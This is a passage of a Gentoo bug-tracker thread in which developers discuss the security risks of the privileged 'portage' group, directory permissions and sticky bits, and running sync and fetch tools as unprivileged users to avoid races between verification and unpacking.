Comment 63 Alec Warner archtester Gentoo Infrastructure gentoo-dev Security 2008-02-13 19:15:34 UTC
(In reply to comment #62)
> ok, I discussed this with falco few days ago, and we came to the conclusion
> that
> we can't just send a warning glsa since the bug is not fixed.
> So, like it was mentioned in previous comments, the least we could do, with the
> 2008.0 approaching, is updating the docs to warn users.
> Currently we have:
> http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=1&chap=11
> A big red warning about not granting portage group access to untrusted users
> wouldn't be too much IMHO... comments?
> 

You could also just submit a news item if your goal is to warn users of old portages (2006).

Comment 64 Robert Buchholz (RETIRED) gentoo-dev 2008-02-13 20:16:35 UTC
This problem does not only affect old Portage versions, but also all current ones. 
Comment 65 Pierre-Yves Rofes (RETIRED) gentoo-dev 2008-02-20 11:53:36 UTC
(In reply to comment #64)
> This problem does not only affect old Portage versions, but also all current
> ones. 
> 

We could have a news item, saying that until now the docs were unclear, and advising our users to remove untrusted accounts from group portage. But we should also update docs anyway, otherwise the news is pointless...
Comment 66 nm (RETIRED) gentoo-dev 2009-06-07 20:30:30 UTC
So, uh . . . any progress on this? Anything that the GDP still needs to be CCed on?
Comment 67 Zac Medico gentoo-dev 2009-06-07 20:53:41 UTC
I'm still planning to add support for the sticky bit thing, but I think this bug can be closed because the glsa is already done.
Comment 68 Wolfram Schlich (RETIRED) gentoo-dev 2009-11-13 13:02:03 UTC
ping
Comment 69 Zac Medico gentoo-dev 2009-11-27 02:38:06 UTC
(In reply to comment #66)
> So, uh . . . any progress on this? Anything that the GDP still needs to be CCed
> on?

As mentioned in comment #62, the handbook still needs to be updated. In the group decscription table it says, "portage  	be able to use emerge --pretend as a normal user", but this is no longer true and it is also a security risk.
Comment 70 Zac Medico gentoo-dev 2011-09-06 02:47:27 UTC
(In reply to comment #67)
> I'm still planning to add support for the sticky bit thing, but I think this
> bug can be closed because the glsa is already done.

The category sub-directories change things a bit. I guess those will have to inherit the sticky bit from the parent directory if it is set.
Comment 71 Dave Kemper 2011-11-20 09:00:30 UTC
In light of PORTAGE_TMPDIR now requiring specific permissions, should bug 83556 be fixed?
Comment 72 Zac Medico gentoo-dev 2011-11-20 09:12:11 UTC
(In reply to comment #71)
> In light of PORTAGE_TMPDIR now requiring specific permissions, should bug 83556
> be fixed?

We've already got a big warning in the PORTDIR section of both `man make.conf` and make.conf.example, and because of the way that rsync works, there's really nothing more that can be done:

***Warning*** 
 Data stored inside PORTDIR is in peril of being overwritten or deleted by the emerge --sync command. The default value of PORTAGE_RSYNC_OPTS will protect the default locations of DISTDIR and PKGDIR, but users are warned that any other locations inside PORTDIR are not necessarily safe for data storage. You should not put other data (such as overlays) in your PORTDIR.
Comment 73 Dave Kemper 2011-11-22 21:54:58 UTC
I don't think most users would consider a tmp directory to fall under the umbrella of "data storage," which is what that text warns against putting under PORTDIR.  It's a reasonable expectation that anything under PORTAGE_TMPDIR could be wiped out by a --sync (regardless of PORTAGE_TMPDIR's location on the system).  It is not obvious from that warning that the directory itself -- which users would not tend to think of as "data" -- would be removed.

Further, a user looking for a convenient place to put PORTAGE_TMPDIR is likely to look at the documentation for PORTAGE_TMPDIR, not for PORTDIR, so the warning isn't even in the right place for this scenario.

Most relevantly for the security issue addressed by this bug, the message a user gets upon running an emerge when PORTAGE_TMPDIR is missing:

* The directory specified in your PORTAGE_TMPDIR variable,
* ..., does not exist.  Please create this directory
* or correct your PORTAGE_TMPDIR setting.

gives no indication that the directory should be created with specific permissions (as of 2.1.10.36 anyway).

(And on a less important note, the sentence at the end of the PORTDIR warning in the make.conf man page, "Portage will walk directory structures and may arbitrary add invalid categories as packages," should have the word "arbitrarily" in place of "arbitrary.")
Comment 74 Zac Medico gentoo-dev 2011-11-22 22:04:06 UTC
(In reply to comment #73)
> gives no indication that the directory should be created with specific
> permissions (as of 2.1.10.36 anyway).

As long as it's not world writable, you should be fine. I think this is really beyond the scope of what portage needs to document, because it's common sense that directories should not be world writable (unless they have the sticky bit), and your umask typically ensures that.
Comment 75 Zac Medico gentoo-dev 2011-11-23 21:27:30 UTC
(In reply to comment #73)
> Further, a user looking for a convenient place to put PORTAGE_TMPDIR is likely
> to look at the documentation for PORTAGE_TMPDIR, not for PORTDIR, so the
> warning isn't even in the right place for this scenario.

I think the main source of confusion is that the default PKGDIR and DISTDIR happen to be inside PORTDIR. If it wasn't for this, I don't think that people would be as likely to infer that other random things will be safe inside /usr/portage. Bug 378603 is about migrating to saner defaults for PKGDIR, DISTDIR, and PORTDIR.
Comment 76 Dave Kemper 2011-11-28 21:18:43 UTC
Good points in comment #74.

(In reply to comment #75)
> I think the main source of confusion is that the default PKGDIR and DISTDIR
> happen to be inside PORTDIR.

It is certainly not the only source; I don't have enough data to say whether it's the main source.  But it seems a typical reason for moving PORTAGE_TMPDIR might be to deal with a shortage of space on the default tmp device, and a logical place to put it might seem to be under PORTDIR.  All this could be done with no knowledge of anything called PKGDIR and DISTDIR: one needn't know many details of portage's operation to realize one needs to move PORTAGE_TMPDIR.  This was my experience when I first moved it, and I don't have any reason to believe it's an isolated one (in fact, the first paragraph of bug 83556 suggests otherwise).

This is why the caveat about where not to locate PORTAGE_TMPDIR should go under the documentation for PORTAGE_TMPDIR.
Comment 77 Zac Medico gentoo-dev 2011-11-29 18:11:40 UTC
(In reply to comment #76)
> This is why the caveat about where not to locate PORTAGE_TMPDIR should go under
> the documentation for PORTAGE_TMPDIR.

Sounds good to me. Please file a new bug, because it's off topic for this bug.
Comment 78 Dave Kemper 2011-11-30 06:51:28 UTC
(In reply to comment #77)
> Please file a new bug, because it's off topic for this bug.

OK. Opened bug 392565.
Comment 79 Martin Väth 2017-05-31 05:48:09 UTC
What has become about this bug? I have set locally g+ws,+t,o-w
(and user/group portage) on

$PORTAGE_TMPDIR/portage
$CCACHE_DIR/*
$CCACHE_DIR/[0-9a-f]/[0-9a-f]
$DISTDIR

since years without any issues. Even if this perhaps does not prevent all exploits through the portage group, at least it mitigates the most obvious ones. Why does portage still not make sure that these safe permissions are set?

For special cases (prefix or non-linux file systems), one could still make this behaviour optional, but I think the above would be a perfectly sane default behaviour.

BTW, it would make sense to require also the same settings (and user/group portage) for the repositories and to fetch with permissions of portage:portage so that complex programs like git/rsync/... with net acces do not need to be called with root permissions.
The latter, of course, is safer only if it is not too trivial for user portage to root the system.
Comment 80 Kristian Fiskerstrand gentoo-dev Security 2017-05-31 10:57:08 UTC
(In reply to Martin Väth from comment #79)
> What has become about this bug? I have set locally g+ws,+t,o-w
> (and user/group portage) on

...
> 
> since years without any issues. Even if this perhaps does not prevent all
> exploits through the portage group, at least it mitigates the most obvious
> ones. Why does portage still not make sure that these safe permissions are
> set?

This seems to mainly come down to a documentation question of what is considered safe, I've always been under the impression that portage group is privileged, in which case no security boundary is crossed, although the cache-messages mentioned in a comment is unfortunate.

In any case, re-assigning this to Security Auditing rather than vulnerability treatment
Comment 81 Martin Väth 2017-05-31 11:22:47 UTC
> I've always been under the impression that portage group is privileged

In some sense it is, but the best which tools like eix or layman might do concerning security is to drop privileges to user/group portage.
If this group is practically as privileged as root, this is a severe problem.
Comment 82 Zac Medico gentoo-dev 2017-05-31 16:33:15 UTC
(In reply to Martin Väth from comment #81)
> > I've always been under the impression that portage group is privileged
> 
> In some sense it is, but the best which tools like eix or layman might do
> concerning security is to drop privileges to user/group portage.
> If this group is practically as privileged as root, this is a severe problem.

I don't see the privileged status of the portage group changing, so things should avoid using it whenever possible. For example, portage itself should be fixed to use a different user to call FETCHCOMMAND.
Comment 83 Martin Väth 2017-05-31 21:05:08 UTC
(In reply to Zac Medico from comment #82)
> For example, portage itself should
> be fixed to use a different user to call FETCHCOMMAND.

And then probably also the same user should be used for calling git/rsync and calling egencache and used by layman and eix.
Which means that $DISTDIR, repository directories, and probably also /var/lib/portage, /var/db and /var/edb (and /var/cache/eix) must be writable by that user.

But this is almost the situation which we have currently, only that perhaps the actual compilation might be excluded from that user. But I do not think that the actual compilation is the main problem, in particular if the sticky bits would be set on all above mentioned directories.
Comment 84 Zac Medico gentoo-dev 2017-05-31 21:15:35 UTC
(In reply to Martin Väth from comment #83)
> (In reply to Zac Medico from comment #82)
> > For example, portage itself should
> > be fixed to use a different user to call FETCHCOMMAND.
> 
> And then probably also the same user should be used for calling git/rsync
> and calling egencache and used by layman and eix.
> Which means that $DISTDIR, repository directories, and probably also
> /var/lib/portage, /var/db and /var/edb (and /var/cache/eix) must be writable
> by that user.

No, those directories have no business being writable by unprivileged users. Mainly, it's network clients that might handle untrusted network data which need to run as an unprivileged user. For example, portage could execute wget as an unprivileged user, and the data that it fetches could be written to stdout and  piped to a process that has $DISTDIR write privileges.

> But this is almost the situation which we have currently, only that perhaps
> the actual compilation might be excluded from that user. But I do not think
> that the actual compilation is the main problem, in particular if the sticky
> bits would be set on all above mentioned directories.

The sticky bit will not plug all of the security holes, because the "portage" user will still need privileged status as part of the implementation details for FEATURES=userpriv.
Comment 85 Martin Väth 2017-05-31 21:34:27 UTC
(In reply to Zac Medico from comment #84)
> For example, portage could execute wget as an unprivileged user,
> and the data that it fetches could be written to
> stdout and  piped to a process that has $DISTDIR write privileges.

I do not see how such a trick might work for rsync or git (even less for eix).
It might be used by egencache, though.

> privileged status as part of the implementation details
> for FEATURES=userpriv.

I see. So having 2 separate users - one for $DISTDIR, repositories, /var/{e,}db, /var/lib/portage, and the other more privileged one for $PORTAGE_TMPDIR/portage and $CCACHE_DIR - might make sense.
In any case, the sticky bit on all of these directories would be good.
Comment 86 Zac Medico gentoo-dev 2017-05-31 22:05:44 UTC
(In reply to Martin Väth from comment #85)
> (In reply to Zac Medico from comment #84)
> > For example, portage could execute wget as an unprivileged user,
> > and the data that it fetches could be written to
> > stdout and  piped to a process that has $DISTDIR write privileges.
> 
> I do not see how such a trick might work for rsync or git (even less for
> eix).
> It might be used by egencache, though.

It's already supported by portage with FEATURES=usersync, if the repository's directory is owned by an unprivileged user. Of course, that's not very helpful from a security standpoint unless it's a git repository with signed commits that you can verify.

> > privileged status as part of the implementation details
> > for FEATURES=userpriv.
> 
> I see. So having 2 separate users - one for $DISTDIR, repositories,
> /var/{e,}db, /var/lib/portage, and the other more privileged one for
> $PORTAGE_TMPDIR/portage and $CCACHE_DIR - might make sense.
> In any case, the sticky bit on all of these directories would be good.

No, all those things should be considered privileged. For example, if $DISTDIR is writable by a less privileged user, then that user can attempt to modify distfiles in the time between digest verification and unpack.
Comment 87 Martin Väth 2017-06-01 05:46:49 UTC
(In reply to Zac Medico from comment #86)
> For example, if $DISTDIR is writable by a less privileged user,
> then that user can attempt to modify distfiles in the time between digest
> verification and unpack.

You are right: It is not possible to keep that file open, so the sticky bit won't help here.

> > I do not see how such a trick might work for rsync or git
> 
> It's already supported by portage with FEATURES=usersync

I meant the trick you described that the dangerous task (wget/git/rsync) happens with lower privileges than the owner of the directory.
It seems to me that the only way to achieve that would be to change the ownership before and after syncing. That is of course a horrible policy if users want to keep the repositories on squashfs+overlay/aufs, because then it effectively means to copy the complete repository for syncing.
But if that really is the only way to achieve security, perhaps that route should be followed by recommended policy (e.g. by introducing a corresponding portage FEATURE and "reposync" user; of course, also currently users _might_ do this by introducing a user on their own and writing a wrapper script for syncing, but I doubt that many do unless it is strongly recommended in visible places.)

If a policy with such a "reposync" user would be available, this user should perhaps be given read access to config files like /etc/portage/* and world{_,sets}, and then eix could by default drop permissions to that user instead of portage. (Or should one better introduce a third user for that task?)

In any case, since unprivileged users should better not be members of the privileged "portage" group, it means that /etc/portage/* and world{_,sets} (if one wants that they are not readable by everybody) should belong to a different group.

> unless it's a git repository with signed commits

Of course: Verification of repository content by some signature is an issue which needs to be solved anyway, independently. But I think that is the content of a different bug/GLSA.
Comment 88 Zac Medico gentoo-dev 2017-06-01 17:04:08 UTC
(In reply to Martin Väth from comment #87)
> > It's already supported by portage with FEATURES=usersync
> 
> I meant the trick you described that the dangerous task (wget/git/rsync)
> happens with lower privileges than the owner of the directory.
> It seems to me that the only way to achieve that would be to change the
> ownership before and after syncing. That is of course a horrible policy if
> users want to keep the repositories on squashfs+overlay/aufs, because then
> it effectively means to copy the complete repository for syncing.
> But if that really is the only way to achieve security, perhaps that route
> should be followed by recommended policy (e.g. by introducing a
> corresponding portage FEATURE and "reposync" user; of course, also currently
> users _might_ do this by introducing a user on their own and writing a
> wrapper script for syncing, but I doubt that many do unless it is strongly
> recommended in visible places.)

It's not necessary to chown or copy the repository is you allocate a separate user for each repository, and you don't allow that user to be used for anything else. It's important to have a separate user for each repository, since you want to be able to sync repositories independently, without the possibility of having one repository compromised while you are syncing a different repository.

> > unless it's a git repository with signed commits
> 
> Of course: Verification of repository content by some signature is an issue
> which needs to be solved anyway, independently. But I think that is the
> content of a different bug/GLSA.

Well, this discussion is all about privilege isolation. Without appropriate privilege isolation, your "verified" repository can easily become compromised, much like your files in $DISTDIR.
Comment 89 Martin Väth 2017-06-02 07:30:41 UTC
(In reply to Zac Medico from comment #88)
> It's not necessary to chown or copy the repository.

It is as necessary/unnecessary as it is for $DISTDIR/wget. In fact, there is no difference between the two cases:

Whoever the owner of the directory is, he is privileged enough to compromise any emerge by using a race between file/signature verification and usage (e.g. if he starts a background daemon or if an emerge process occurs "in parallel"). For this reason, such a privileged user should better not be used to access the net via a complex command like git/sync/wget.

> It's important to have a separate user for each repository

I do not agree that having an even larger number of privileged users for essentially the same task is better.
_If_ the administrator is forced to verify that no background daemon is started and that no emerge runs in parallel, it is better to keep that setting as simple as possible (one dangerous privileged user for syncing and checking only...)

> Without appropriate privilege isolation, your "verified" repository can
> easily become compromised, much like your files in $DISTDIR.

That's exactly the point, and that's why it really seems necessary to have one (privileged) user own the directories - actually this might even be root - and another unprivileged user do the syncing. Unfortunately, it seems that this is not possible for git/rsync without copying/chown.

An alternative measurement which might be taken is that portage itself verifies that the "syncing" user has no background daemon running and that parallel syncing and emerge is completely blocked. But somehow this does not feel very safe: There might also be VMs running which portage cannot "see", or the directory might be shared with a different machine, etc. Admittedly, it would not be easy for an attacker to do a succesfull race in such a setting, but anyway this approach is not really safe.